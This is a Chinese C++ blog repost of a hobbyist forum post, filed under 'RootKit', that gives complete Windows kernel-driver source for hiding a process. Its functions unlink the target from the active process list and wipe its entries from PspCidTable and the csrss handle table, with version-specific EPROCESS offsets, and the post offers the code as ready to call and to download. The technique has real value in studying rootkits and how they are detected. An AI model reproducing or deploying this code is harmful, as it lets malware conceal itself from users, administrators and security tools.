S.l.e!ep.¢%

像打了激速一样,以四倍的速度运转,开心的工作
简单、开放、平等的公司文化;尊重个性、自由与个人价值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理

科普之三招隐藏进程

Posted on 2009-10-30 00:10 S.l.e!ep.¢% 阅读(439) 评论(0)  编辑 收藏 引用 所属分类: RootKit
【原创】科普之三招隐藏进程
cooldiyer 当前离线 添加 cooldiyer 的声望 反映此帖

标 题: 【原创】科普之三招隐藏进程
作 者: cooldiyer
时 间: 2008-09-20,11:58
链 接: http://bbs.pediy.com/showthread.php?t=73129

先从活动进程链表中摘除 擦除PspCidTable中对应的Object 再擦除Csrss进程中那份表
擦除HandleTable表用了一些技巧,不用亲自操作三层表,不是网上流传的方法,具体请看代码......

使用的时候直接HideProcessById(HIDE_PID)就行了
偶这只菜鸟的学习总结,牛们不要BS,我会超过你们的.很快

ProcessHide.h
代码:
#ifndef __PROCESSHIDE_H__
#define __PROCESSHIDE_H__

#ifdef __cplusplus
extern "C" {
#endif

#include <ntddk.h>

/*
 使用之前请先调用InitializeCommonVariables初始化全局变量
*/

typedef struct _HANDLE_TABLE_ENTRY {
  
    //
    //  The pointer to the object overloaded with three ob attributes bits in
    //  the lower order and the high bit to denote locked or unlocked entries
    //
  
    union {
    
        PVOID Object;
    
        ULONG ObAttributes;
    };
  
    //
    //  This field either contains the granted access mask for the handle or an
    //  ob variation that also stores the same information.  Or in the case of
    //  a free entry the field stores the index for the next free entry in the
    //  free list.  This is like a FAT chain, and is used instead of pointers
    //  to make table duplication easier, because the entries can just be
    //  copied without needing to modify pointers.
    //
  
    union {
    
        union {
      
            ACCESS_MASK GrantedAccess;
      
            struct {
        
                USHORT GrantedAccessIndex;
                USHORT CreatorBackTraceIndex;
            };
        };
    
        LONG NextFreeTableEntry;
    };
  
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;

typedef struct _HANDLE_TABLE {
  
    //
    //  A set of flags used to denote the state or attributes of this
    //  particular handle table
    //
  
    ULONG Flags;
  
    //
    //  The number of handle table entries in use.
    //
  
    LONG HandleCount;
  
    //
    //  A pointer to the top level handle table tree node.
    //
  
    PHANDLE_TABLE_ENTRY **Table;
  
    //
    //  The process who is being charged quota for this handle table and a
    //  unique process id to use in our callbacks
    //
  
    struct _EPROCESS *QuotaProcess;
    HANDLE UniqueProcessId;
  
    //
    //  This is a singly linked list of free table entries.  We don't actually
    //  use pointers, but have each store the index of the next free entry
    //  in the list.  The list is managed as a lifo list.  We also keep track
    //  of the next index that we have to allocate pool to hold.
    //
  
    LONG FirstFreeTableEntry;
    LONG NextIndexNeedingPool;
  
    //
    //  This is the lock used to protect the fields in the record, and the
    //  handle table tree in general.  Individual handle table entries that are
    //  not free have their own lock
    //
  
    ERESOURCE HandleTableLock;
  
    //
    //  The list of global handle tables.  This field is protected by a global
    //  lock.
    //
  
    LIST_ENTRY HandleTableList;
  
    //
    //  The following field is used to loosely synchronize thread contention
    //  on a handle.  If a thread wants to wait for a handle to be unlocked
    //  it will wait on this event with a short timeout.  Any handle unlock
    //  operation will pulse this event if there are threads waiting on it
    //
  
    KEVENT HandleContentionEvent;
} HANDLE_TABLE, *PHANDLE_TABLE;  

typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)(
  IN PHANDLE_TABLE_ENTRY HandleTableEntry,
  IN HANDLE Handle,
  IN PVOID EnumParameter
  );

typedef BOOLEAN (*__ExEnumHandleTable)(
  IN PHANDLE_TABLE HandleTable,
  IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
  IN PVOID EnumParameter,
  OUT PHANDLE Handle OPTIONAL
  );

NTSTATUS
GetPspCidTable(
  OUT PHANDLE_TABLE* ppPspCidTable
  );

BOOLEAN
EnumHandleCallback(
  IN PHANDLE_TABLE_ENTRY HandleTableEntry,
  IN HANDLE Handle,
  IN OUT PVOID EnumParameter
  );

NTSTATUS
EraseObjectFromHandleTable(
  PHANDLE_TABLE pHandleTable,
  IN HANDLE ProcessId
  );

NTSTATUS
RemoveNodeFromActiveProcessLinks(
  IN HANDLE ProcessId
  );

NTSTATUS
HideProcessById(
  IN HANDLE ProcessId
  );

NTSTATUS
InitializeCommonVariables(
  );

NTSTATUS
GetProcessNameOffset(
  OUT PULONG  Offset OPTIONAL
  );

NTSTATUS
LookupProcessByName(
  IN PCHAR pcProcessName,
  OUT PEPROCESS *Process
  );
#ifdef __cplusplus
} // extern "C"
#endif

#endif // __PROCESSHIDE_H__
ProcessHide.c
代码:
#include "ProcessHide.h"
#include "LDasm.h"

ULONG    g_Offset_Eprocess_Name = NULL;
ULONG    g_Offset_Eprocess_Flink = NULL;
ULONG    g_Offset_Eprocess_ProcessId = NULL;
ULONG    g_Offset_Eprocess_HandleTable = NULL;

PEPROCESS  g_pEprocess_System = NULL;


NTSTATUS
GetPspCidTable(
  OUT PHANDLE_TABLE* ppPspCidTable
  )
  /*
  通过搜索PsLookupProcessByProcessId函数,获取PspCidTable的地址
  */
{
  NTSTATUS    status;
  PUCHAR      cPtr;
  unsigned char * pOpcode;
  ULONG      Length;
  UNICODE_STRING  uniPsLookup;
  ULONG      PsLookupProcessByProcessId;

  status = STATUS_NOT_FOUND;

  RtlInitUnicodeString(&uniPsLookup, L"PsLookupProcessByProcessId"); 
  PsLookupProcessByProcessId = MmGetSystemRoutineAddress(&uniPsLookup); //MmGetSystemRoutineAddress可以通过函数名获得函数地址

  for (cPtr = (PUCHAR)PsLookupProcessByProcessId;
    cPtr < (PUCHAR)PsLookupProcessByProcessId + PAGE_SIZE;
    cPtr += Length)
  {
    Length = SizeOfCode(cPtr, &pOpcode);    //credit to LDasm.c by Ms-Rem
    if (!Length) break;
    if (*(PUSHORT)cPtr == 0x35FF && *(pOpcode + 6) == 0xE8)
    {
      *ppPspCidTable = **(PVOID **)(pOpcode + 2);
      status = STATUS_SUCCESS;
      break;
    }
  }
  return status;
}

BOOLEAN
EnumHandleCallback(
  IN PHANDLE_TABLE_ENTRY HandleTableEntry,
  IN HANDLE Handle,
  IN OUT PVOID EnumParameter
  )
{
  if (ARGUMENT_PRESENT(EnumParameter) && *(HANDLE *)EnumParameter == Handle)
  {
    *(PHANDLE_TABLE_ENTRY *)EnumParameter = HandleTableEntry;
    return TRUE;
  }
  return FALSE;
}

// 修改一下,可以传递要擦除的ID做参数
NTSTATUS
EraseObjectFromHandleTable(
  PHANDLE_TABLE pHandleTable,
  IN HANDLE ProcessId
  )
{
  NTSTATUS    status;
    
  PVOID      EnumParameter;
  UNICODE_STRING  uniExEnumHandleTable;

  __ExEnumHandleTable  ExEnumHandleTable;

  status = STATUS_NOT_FOUND;
  EnumParameter = ProcessId;


  RtlInitUnicodeString(&uniExEnumHandleTable, L"ExEnumHandleTable");
  ExEnumHandleTable = MmGetSystemRoutineAddress(&uniExEnumHandleTable);

  if (NULL == ExEnumHandleTable)
  {
    return STATUS_NOT_FOUND;
  }

  // Enum后可以擦除,Callback过程中不能擦除
  if (ExEnumHandleTable(pHandleTable, EnumHandleCallback, &EnumParameter, NULL))
  {
    InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object, NULL);
    status = STATUS_SUCCESS;
  }

  return status;
}

NTSTATUS
RemoveNodeFromActiveProcessLinks(
  IN HANDLE ProcessId
  )
{
  NTSTATUS  status;
  PLIST_ENTRY  pListEntry;
  PEPROCESS  pEprocess;

  status = PsLookupProcessByProcessId(ProcessId, &pEprocess);

  if (!NT_SUCCESS(status))
  {
    return status;
  }
  ObDereferenceObject(pEprocess);

  pListEntry = (ULONG)pEprocess + g_Offset_Eprocess_Flink;

  // 从链表中摘除
  pListEntry->Blink->Flink = pListEntry->Flink;
  pListEntry->Flink->Blink = pListEntry->Blink;

  return status;
}


NTSTATUS
HideProcessById(
  IN HANDLE ProcessId
  )
{
  NTSTATUS    status;
  PHANDLE_TABLE  pPspCidTable;
  PEPROCESS    pCsrssEprocess = NULL;


  if (NULL == g_Offset_Eprocess_HandleTable)
  {
    status = InitializeCommonVariables();
    if (!NT_SUCCESS(status))
    {
      return status;
    }
  }

  status = GetPspCidTable(&pPspCidTable);

  if (!NT_SUCCESS(status))
  {
    return status;
  }

  status = LookupProcessByName("CSRSS.EXE\0", &pCsrssEprocess);

  if (!NT_SUCCESS(status))
  {
    return status;
  }

  // 先从活动进程链表中摘除
  status = RemoveNodeFromActiveProcessLinks(ProcessId);


  // 擦除PspCidTable中对应的Object
  status = EraseObjectFromHandleTable(pPspCidTable, ProcessId);


  // 擦除Csrss进程中那份表
  status = EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess + g_Offset_Eprocess_HandleTable), ProcessId);


  return status;
}

NTSTATUS
LookupProcessByName(
  IN PCHAR pcProcessName,
  OUT PEPROCESS *pEprocess
  )
{ 
  NTSTATUS  status;
  ULONG    uCurrentProcessId = 0;
  ULONG    uStartProcessId = 0; 
  ULONG    uCount = 0;
  ULONG    uLength = 0;
  PLIST_ENTRY  pListActiveProcess;
  PEPROCESS  pCurrentEprocess = NULL;

  
  if (!ARGUMENT_PRESENT(pcProcessName) || !ARGUMENT_PRESENT(pEprocess))
  {
    return STATUS_INVALID_PARAMETER;
  }

  uLength = strlen(pcProcessName);

  pCurrentEprocess = g_pEprocess_System;

  uStartProcessId = *((PULONG)((ULONG)pCurrentEprocess + g_Offset_Eprocess_ProcessId));

  uCurrentProcessId = uStartProcessId;

  while(1)
  {
    if(_strnicmp(pcProcessName, (PVOID)((ULONG)pCurrentEprocess + g_Offset_Eprocess_Name), uLength) == 0)
    {
      *pEprocess = pCurrentEprocess;
      status = STATUS_SUCCESS;
      break;
    }
    else if ((uCount >= 1) && (uStartProcessId == uCurrentProcessId))
    {
      *pEprocess = 0x00000000;
      status = STATUS_NOT_FOUND;
      break;
    }
    else 
    {
      pListActiveProcess = (LIST_ENTRY *)((ULONG)pCurrentEprocess + g_Offset_Eprocess_Flink);
      (ULONG)pCurrentEprocess = (ULONG)pListActiveProcess->Flink;
      (ULONG)pCurrentEprocess = (ULONG)pCurrentEprocess - g_Offset_Eprocess_Flink;
      uCurrentProcessId = *(PULONG)((ULONG)pCurrentEprocess + g_Offset_Eprocess_ProcessId);
      uCount++;
    }
  }
  return status;
}

NTSTATUS
GetProcessNameOffset(
  OUT PULONG  Offset OPTIONAL
  )
           /*
           在DriverEntry中调用
           */
{
  NTSTATUS  status;
  PEPROCESS  curproc;
  ULONG      i;

  if (!MmIsAddressValid((PVOID)Offset))
  {
    status = STATUS_INVALID_PARAMETER;
    return status;
  }

  curproc = PsGetCurrentProcess();

  //
  // 然后搜索KPEB,得到ProcessName相对KPEB的偏移量
  // 偏移174h的位置,这里存的是进程的短文件名,少数地方用,
  // 比如SoftIce的addr和proc命令,如果名称超过16个字符直接截断

  // Scan for 12KB, hopping the KPEB never grows that big!
  //
  for( i = 0; i < 3 * PAGE_SIZE; i++ ) {

    if(!strncmp( "System", (PCHAR) curproc + i, strlen("System"))) {
      *Offset = i;
      status = STATUS_SUCCESS;
      break;
    }
  }
  return status;
}

NTSTATUS
InitializeCommonVariables(
  )
{
  NTSTATUS  status;
  ULONG  uMajorVersion;
  ULONG  uMinorVersion;

  status = GetProcessNameOffset(&g_Offset_Eprocess_Name);

  if (!NT_SUCCESS(status))
  {
    return status;
  }

  g_pEprocess_System = PsGetCurrentProcess();

  PsGetVersion(&uMajorVersion, &uMinorVersion, NULL, NULL);

  if (uMajorVersion == 4 && uMinorVersion == 0)
  {
    g_Offset_Eprocess_Flink = 152;
    // Stop supporting NT 4.0
    return STATUS_UNSUCCESSFUL;
  }
  else if (uMajorVersion == 5 && uMinorVersion == 0)
  {
    g_Offset_Eprocess_ProcessId = 156;
    g_Offset_Eprocess_Flink = 160;
    g_Offset_Eprocess_HandleTable = 0x128;
  }
  else if (uMajorVersion == 5 && uMinorVersion == 1)
  {
    g_Offset_Eprocess_ProcessId = 132;
    g_Offset_Eprocess_Flink = 136;
    g_Offset_Eprocess_HandleTable = 0xC4;
  }
  else if (uMajorVersion == 5 && uMinorVersion == 2)
  {
    g_Offset_Eprocess_ProcessId = 132;
    g_Offset_Eprocess_Flink = 136;
    g_Offset_Eprocess_HandleTable = 0xC4;
  }

  return STATUS_SUCCESS;
}

上传的附件
文件类型: rar ProcessHide.rar (6.1 KB, 465 次下载) [谁下载?]

只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理